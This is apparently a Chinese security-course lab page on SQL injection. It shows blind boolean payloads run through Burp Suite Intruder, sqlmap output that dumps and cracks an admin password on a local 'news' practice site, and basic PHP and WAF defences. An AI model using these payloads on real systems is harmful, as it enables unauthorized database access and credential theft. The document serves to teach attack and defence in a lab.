Top

  1. Burp Suite 辅助手工注入
  2. 使用 sqlmap 自动注入
  3. SQL 注入防护

1 Burp Suite 辅助手工注入

1.1 问题

本例要求学会使用 Burp Suite 辅助手工注入过程,相关说明如下:

1)部署安装 Burp Suite

2)猜解数据库长度

3)猜解数据库名称

4)猜解表名

5)猜解字段名

6)猜解数据

1.2 步骤

实现此案例需要按照如下步骤进行。

步骤一:部署安装 Burp Suite

1)安装和配置 java 环境

按默认安装 jdk-8u202-windows-i586,如图 - 1 所示。

CASE - 图1

图 - 1

2)按下面配置 Windows 系统环境变量,如图 - 2 所示。

JAVA_HOME C:\Program Files (x86)\Java\jre1.8.0_202

classpath %JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar

path ;%JAVA_HOME%\bin

CASE - 图2

图 - 2

3)激活并运行 Burp Suite,如图 - 3 所示。

CASE - 图3

图 - 3

4)在 Firefox 浏览器上安装 FoxyProxy 组件,配置 Firefox 代理服务器,如图 - 4 所示。

CASE - 图4

图 - 4

启用 FoxyProxy 代理服务器后,访问 news 靶场,如图 - 5 所示。

CASE - 图5

图 - 5

此时 Burp Suite 默认拦截,如图 - 6 所示,说明部署安装 Burp Suite 成功。

CASE - 图6

图 - 6

步骤二:猜解数据库长度

1)暂时停止 Burp Suite 代理拦截,使用浏览器访问新闻页面,并进行普通 SQL 注入猜解数据库长度,如图 - 7 所示。

  1. 1. http:
  2. 2. ?id=55 and length(database())=n

CASE - 图7

图 - 7

2)启用 Burp Suite 代理拦截功能,再进行注入操作,可以看到拦截的信息,如图 - 8 所示。

CASE - 图8

图 - 8

3)使用 Intruder 模块,在 “positions” 选项卡中设置 “n” 为变量,如图 - 9 所示。

CASE - 图9

图 - 9

在 “payloads” 选项卡中设置 “n” 的取值范围是 1~20,如图 - 10 所示,最后单击 “Start attack” 开始攻击。

CASE - 图10

图 - 10

在弹出的 “Intruder attack” 对话框中,观察 “Length” 列数据,得知数据库长度是“4”,如图 - 11 所示。

CASE - 图11

图 - 11

步骤三:猜解数据库名称

1)使用 Burp Suite 代理拦截猜解数据库名称语句,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 12 所示。

  1. 1. http:
  2. 2. ?id=55 and ord(substr(database(),m,1))=n

CASE - 图12

图 - 12

2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~4,“n”的取值范围是 32~126,如图 - 13 所示,最后单击 “Start attack” 开始攻击。

CASE - 图13

图 - 13

3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 14 所示。

CASE - 图14

图 - 14

4)批量解码 ASCII 可以得到数据库名字是 “news”,如图 - 15 所示。

网址:https://www.toolnb.com/tools/asciiTools.html

ASCII 码:110;101;119;115

CASE - 图15

图 - 15

步骤四:猜解表名

1)使用 Burp Suite 代理拦截猜解表名语句,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 16 所示。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n

CASE - 图16

图 - 16

2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~100,“n”的取值范围是 32~126,在 “Option” 选项卡中设置 “Number of threads” 为 500,如图 - 17 所示,最后单击 “Start attack” 开始攻击。

CASE - 图17

图 - 17

3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 18 所示。

CASE - 图18

图 - 18

4)批量解码 ASCII 可以得到 news 数据库中所有表名,如图 - 19 所示。

网址:https://www.toolnb.com/tools/asciiTools.html

ASCII 码:110;101;119;115;95;97;114;116;105;99;108;101;44;110;119;115;95;99;97;116;101;103;111;114;121;44;110;101;119;115;95;102;105;108;101;44;110;101;119;115;95;102;114;105;101;110;100;108;105;110;107;44;110;101;119;115;95;112;97;103;101;44;110;101;119;115;95;110;111;116;105;99;101;44;110;116;101;119;115;95;112;97;103;101;44;110;101;119;115;95;117;115;101;114;115

CASE - 图19

图 - 19

步骤五:猜解字段名

1)使用 Burp Suite 代理拦截猜解 news_users 字段名语句,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 20 所示。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

CASE - 图20

图 - 20

2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~50,“n”的取值范围是 32~126,如图 - 21 所示,最后单击 “Start attack” 开始攻击。

CASE - 图21

图 - 21

3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 22 所示。

CASE - 图22

图 - 22

4)批量解码 ASCII 可以得到 news_users 表中的字段名,如图 - 23 所示。

网址:https://www.toolnb.com/tools/asciiTools.html

ASCII 码:117;115;101;114;105;100;44;117;115;101;114;110;97;109;101;44;112;97;115;115;119;111;114;100

CASE - 图23

图 - 23

步骤五:猜解数据

1)使用 Burp Suite 代理拦截猜解 username、password,设置 “m”、“n” 为变量,设置 “Attack type” 为“Cluster bomb”,如图 - 24 所示。

  1. 1. http:
  2. 2. ?id=55 and ord(substr((select group_concat(usernamepassword) from news_users ),m,1))=n

CASE - 图24

图 - 24

2)在 “payloads” 选项卡中设置 “m” 的取值范围是 1~50,“n”的取值范围是 32~126,如图 - 25 所示,最后单击 “Start attack” 开始攻击。

CASE - 图25

图 - 25

3)在弹出的 “Intruder attack” 对话框中,先按 “Payload1” 列升序排序,再按 “Length” 列降序排序,“Payload2”中是数据库名称各字母对应的 ASCII 码,如图 - 26 所示。

CASE - 图26

图 - 26

4)批量解码 ASCII 可以得到数据库名字,如图 - 27 所示。

网址:https://www.toolnb.com/tools/asciiTools.html

ASCII 码:97;100;109;105;110;101;49;48;97;100;99;51;57;52;57;98;97;53;57;97;98;98;101;53;54;101;48;53;55;102;50;48;102;56;56;51;101

CASE - 图27

图 - 27

5)使用 md5 解密 “e10adc3949ba59abbe56e057f20f883e” 得密码“123456”,如图 - 28 所示。

CASE - 图28

图 - 28

2 使用 sqlmap 自动注入

2.1 问题

本例要求使用 sqlmap 自动注入,相关说明如下:

1)安装 Python 和 sqlmap

2)检测注入点

3)列出所有数据库名

4)列出当前数据库名

5)列出指定数据库中所有表

6)列出指定表中的字段名

7)列出指定字段中的内容

2.2 步骤

实现此案例需要按照如下步骤进行。

步骤一:安装 Python 和 sqlmap

1)按默认安装 Python2.7,如图 - 29 所示。

CASE - 图29

图 - 29

2)解压安装 sqlmap1.5 到 “D:\sqlmap” 目录,如图 - 30 所示。

注释:此处操作选择解压到 “D:\”时,会自动创建 “sqlmap” 目录。

CASE - 图30

图 - 30

3)在命令提示符界面,执行 d:\sqlmap\sqlmap.py 命令出现 “SQLMAP” 图标意味安装成功,如图 - 31 所示。

CASE - 图31

图 - 31

步骤二:检测注入点

使用 - u 选项检测指定页面的是否存在注入点。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 2. ___
  3. 3. \_\_H\_\_
  4. 4. ___ ___\[,\]_____ ___ __\_ {1.5.3.16#dev}
  5. 5. |_ -| . \[,\] | .'| . |
  6. 6. |___|_ \['\]_|_|_|__,| _|
  7. 7. |_|V... |_| http:
  8. 9. \[!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  9. 11. \[*\] starting @ 14:41:07 /2021-03-28/
  10. 13. ……
  11. 15. sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
  12. 16. \-\-\-
  13. 17. Parameter: id (GET)
  14. 18. Type: boolean-based blind
  15. 19. Title: AND boolean-based blind - WHERE or HAVING clause
  16. 20. Payload: id=55 AND 3731=3731
  17. 22. Type: error-based
  18. 23. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  19. 24. Payload: id=55 AND (SELECT 3628 FROM(SELECT COUNT(*),CONCAT(0x71716a7871,(SELECT (ELT(3628=3628,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  20. 26. Type: time-based blind
  21. 27. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  22. 28. Payload: id=55 AND (SELECT 7029 FROM (SELECT(SLEEP(5)))cMFF)
  23. 30. Type: UNION query
  24. 31. Title: Generic UNION query (NULL) - 15 columns
  25. 32. Payload: id=-6107 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716a7871,0x705654714972616a574e4377636a6b694a42564a43424e49416f6f577666587a4e41566f6154675a,0x71707a7071),NULL,NULL,NULL,NULL-- -
  26. 33. \-\-\-
  27. 34. \[14:42:10\] \[INFO\] the back-end DBMS is MySQL
  28. 35. web server operating system: Windows
  29. 36. web application technology: Apache 2.4.23, PHP 5.2.17
  30. 37. back-end DBMS: MySQL >= 5.0
  31. 38. \[14:42:10\] \[INFO\] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\192.168.60.128'
  32. 40. \[*\] ending @ 14:42:10 /2021-03-28/

步骤三:列出所有数据库名

使用 “-dbs” 选项列出所有数据库名称。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 3. ……
  3. 5. \[20:59:14\] \[INFO\] the back-end DBMS is MySQL
  4. 6. web server operating system: Windows
  5. 7. web application technology: Apache 2.4.23, PHP 5.2.17
  6. 8. back-end DBMS: MySQL >= 5.0
  7. 9. \[20:59:14\] \[INFO\] fetching database names
  8. 10. \[20:59:14\] \[WARNING\] the SQL query provided does not return any output
  9. 11. \[20:59:14\] \[INFO\] resumed: 'information_schema'
  10. 12. \[20:59:14\] \[INFO\] resumed: 'challenges'
  11. 13. \[20:59:14\] \[INFO\] resumed: 'mysql'
  12. 14. \[20:59:14\] \[INFO\] resumed: 'news'
  13. 15. \[20:59:14\] \[INFO\] resumed: 'performance_schema'
  14. 16. \[20:59:14\] \[INFO\] resumed: 'pikachu'
  15. 17. \[20:59:14\] \[INFO\] resumed: 'security'
  16. 18. \[20:59:14\] \[INFO\] resumed: 'test'
  17. 19. available databases \[8\]:
  18. 20. \[*\] challenges
  19. 21. \[*\] information_schema
  20. 22. \[*\] mysql
  21. 23. \[*\] news
  22. 24. \[*\] performance_schema
  23. 25. \[*\] pikachu
  24. 26. \[*\] security
  25. 27. \[*\] test

步骤四:列出当前数据库名

使用 “—current-db” 选项列出当前数据库名称。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 3. ……
  3. 5. \[19:19:27\] \[INFO\] the back-end DBMS is MySQL
  4. 6. web server operating system: Windows
  5. 7. web application technology: Apache 2.4.23, PHP 5.2.17
  6. 8. back-end DBMS: MySQL >= 5.0
  7. 9. \[19:19:27\] \[INFO\] fetching current database
  8. 10. \[19:19:27\] \[INFO\] retrieved: 'news'
  9. 11. current database: 'news'
  10. 12. \[19:19:27\] \[INFO\] fetched data logged to text files under 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.60.128'
  11. 14. \[*\] ending @ 19:19:27 /2021-03-28/

步骤五:列出指定数据库中所有表

使用 “-D 数据库名 —tables” 选项列出指定数据库中的所有表。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 3. ……
  3. 4. \[20:57:42\] \[INFO\] the back-end DBMS is MySQL
  4. 5. web server operating system: Windows
  5. 6. web application technology: Apache 2.4.23, PHP 5.2.17
  6. 7. back-end DBMS: MySQL >= 5.0
  7. 8. \[20:57:42\] \[INFO\] fetching tables for database: 'news'
  8. 9. \[20:57:43\] \[WARNING\] the SQL query provided does not return any output
  9. 10. \[20:57:43\] \[INFO\] retrieved: 'news_article'
  10. 11. \[20:57:43\] \[INFO\] retrieved: 'news_category'
  11. 12. \[20:57:43\] \[INFO\] retrieved: 'news_file'
  12. 13. \[20:57:43\] \[INFO\] retrieved: 'news_friendlink'
  13. 14. \[20:57:43\] \[INFO\] retrieved: 'news_message'
  14. 15. \[20:57:43\] \[INFO\] retrieved: 'news_notice'
  15. 16. \[20:57:43\] \[INFO\] retrieved: 'news_page'
  16. 17. \[20:57:43\] \[INFO\] retrieved: 'news_users'
  17. 18. Database: news
  18. 19. \[8 tables\]
  19. 20. +-----------------+
  20. 21. | news_article |
  21. 22. | news_category |
  22. 23. | news_file |
  23. 24. | news_friendlink |
  24. 25. | news_message |
  25. 26. | news_notice |
  26. 27. | news_page |
  27. 28. | news_users |
  28. 29. +-----------------+

步骤六:列出指定表中的字段名

使用 “-D 数据库名 -T 表名 —columns” 列出指定表中的字段名。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 3. ……
  3. 5. \[21:16:38\] \[INFO\] the back-end DBMS is MySQL
  4. 6. web server operating system: Windows
  5. 7. web application technology: Apache 2.4.23, PHP 5.2.17
  6. 8. back-end DBMS: MySQL >= 5.0
  7. 9. \[21:16:38\] \[INFO\] fetching columns for table 'news_users' in database 'news'
  8. 10. \[21:16:38\] \[WARNING\] the SQL query provided does not return any output
  9. 11. \[21:16:38\] \[INFO\] retrieved: 'userid'
  10. 12. \[21:16:38\] \[INFO\] retrieved: 'int(11)'
  11. 13. \[21:16:38\] \[INFO\] retrieved: 'username'
  12. 14. \[21:16:38\] \[INFO\] retrieved: 'varchar(20)'
  13. 15. \[21:16:38\] \[INFO\] retrieved: 'password'
  14. 16. \[21:16:38\] \[INFO\] retrieved: 'varchar(32)'
  15. 17. Database: news
  16. 18. Table: news_users
  17. 19. \[3 columns\]
  18. 20. +----------+-------------+
  19. 21. | Column | Type |
  20. 22. +----------+-------------+
  21. 23. | password | varchar(32) |
  22. 24. | userid | int(11) |
  23. 25. | username | varchar(20) |
  24. 26. +----------+-------------+

步骤七:列出指定字段中的内容

使用 “-D 数据库名 -T 表名 -C 字段名 —dump” 列出指定字段中的内容。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 3. ……
  3. 5. \[21:21:03\] \[INFO\] the back-end DBMS is MySQL
  4. 6. web server operating system: Windows
  5. 7. web application technology: Apache 2.4.23, PHP 5.2.17
  6. 8. back-end DBMS: MySQL >= 5.0
  7. 9. \[21:21:03\] \[INFO\] fetching entries of column(s) 'password,username' for table 'news_users' in database 'news'
  8. 10. \[21:21:03\] \[WARNING\] the SQL query provided does not return any output
  9. 11. \[21:21:04\] \[INFO\] retrieved: 'e10adc3949ba59abbe56e057f20f883e'
  10. 12. \[21:21:04\] \[INFO\] retrieved: 'admin'
  11. 13. \[21:21:04\] \[INFO\] recognized possible password hashes in column 'password'
  12. 14. do you want to store hashes to a temporary file for eventual further processing with other tools \[y/N\]
  13. 16. do you want to crack them via a dictionary-based attack? \[Y/n/q\]
  14. 18. \[21:21:11\] \[INFO\] using hash method 'md5\_generic\_passwd'
  15. 19. what dictionary do you want to use?
  16. 20. \[1\] default dictionary file 'D:\\sqlmap\\data\\txt\\wordlist.tx_' (press Enter)
  17. 21. \[2\] custom dictionary file
  18. 22. \[3\] file with list of dictionary files
  19. 23. >
  20. 25. \[21:21:30\] \[INFO\] using default dictionary
  21. 26. do you want to use common password suffixes? (slow!) \[y/N\]
  22. 28. \[21:21:31\] \[INFO\] starting dictionary-based cracking (md5\_generic\_passwd)
  23. 29. \[21:21:31\] \[INFO\] starting 4 processes
  24. 30. \[21:21:34\] \[INFO\] cracked password '123456' for user 'admin'
  25. 31. Database: news
  26. 32. Table: news_users
  27. 33. \[1 entry\]
  28. 34. +----------+-------------------------------------------+
  29. 35. | username | password |
  30. 36. +----------+-------------------------------------------+
  31. 37. | admin | e10adc3949ba59abbe56e057f20f883e (123456) |
  32. 38. +----------+-------------------------------------------+
  33. 40. \[21:21:43\] \[INFO\] table 'news.news_users' dumped to CSV file 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.60.128\\dump\\news\\news_users.csv'
  34. 41. \[21:21:43\] \[INFO\] fetched data logged to text files under 'C:\\Users\\Administrator\\AppData\\Local\\sqlmap\\output\\192.168.60.128'

3 SQL 注入防护

3.1 问题

本例要求进行 SQL 注入防护,相关说明如下:

1)使用 intval() 函数进行数字型注入防护

2)使用 addslashes() 函数进行字符型注入防护

3)修改 magic_quotes_gpc=on 参数进行字符型注入防护

4)部署 “网站安全狗” 进行 SQL 注入防护

3.2 步骤

实现此案例需要按照如下步骤进行。

步骤一:使用 intval() 函数进行数字型注入防护

1)修改 D:\phpStudy\WWW\news\include\common.function.php 文件,对获取的数值型数据,进行二次转换。

  1. 1. function getArticleInfo($id=0){
  2. 2. global $db;
  3. 3. if($id==0){
  4. 4. if(empty($_GET\['id'\])){
  5. 5. return false;
  6. 6. }else{
  7. 7. $id = intval($_GET\['id'\]);
  8. 8. }
  9. 9. }
  10. 10. return $db->getOneRow("select * from news_article where id=".$id);
  11. 11. }

2)进行 SQL 注入,查看效果发现 order by 命令无效,如图 - 32 所示。

CASE - 图32

图 - 32

步骤二:使用 addslashes() 函数进行字符型注入防护

1)修改 D:\phpStudy\WWW\news\newsAdmin\admin\login.action.php 文件,特殊字符进行转义。

  1. 1. if (isset ( $_POST \["username"\] )) {
  2. 2. $username = addslashes($_POST \["username"\]);
  3. 3. } else {
  4. 4. $username = "";
  5. 5. }

2)进行 SQL 注入,查看效果发现 “万能密码” 无效,如图 - 33 所示。

CASE - 图33

图 - 33

步骤三:修改 magic_quotes_gpc=on 参数进行字符型注入防护

1)修改 D:\phpStudy\php\php-5.2.17\php.ini 文件,特殊字符进行转义。

2)重启 phpStudy 服务后,进行 SQL 注入,查看效果,如图 - 34 所示。

CASE - 图34

图 - 34

步骤四:部署 “网站安全狗” 进行 SQL 注入防护

1)安装 “网站安全狗”,并设置防护等级为 “高级”,如图 - 35 所示。

CASE - 图35

图 - 35

2)使用 sqlmap 进行 SQL 注入,查看效果。

  1. 1. D:\sqlmap>sqlmap.py sqlmap -u http:
  2. 3. ……
  3. 5. \[00:18:05\] \[WARNING\] parameter 'Referer' does not seem to be injectable
  4. 6. \[00:18:05\] \[CRITICAL\] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

https://tts.tmooc.cn/ttsPage/NTD/NTDTN202109/INJECTION/DAY03/CASE/01/index.html